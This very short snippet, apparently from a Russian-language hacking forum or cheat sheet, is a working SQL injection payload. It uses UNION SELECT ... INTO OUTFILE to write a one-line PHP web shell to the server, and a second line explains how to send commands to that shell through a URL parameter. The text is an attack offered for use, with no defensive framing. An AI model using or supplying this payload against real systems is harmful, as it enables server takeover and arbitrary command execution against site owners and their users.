union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]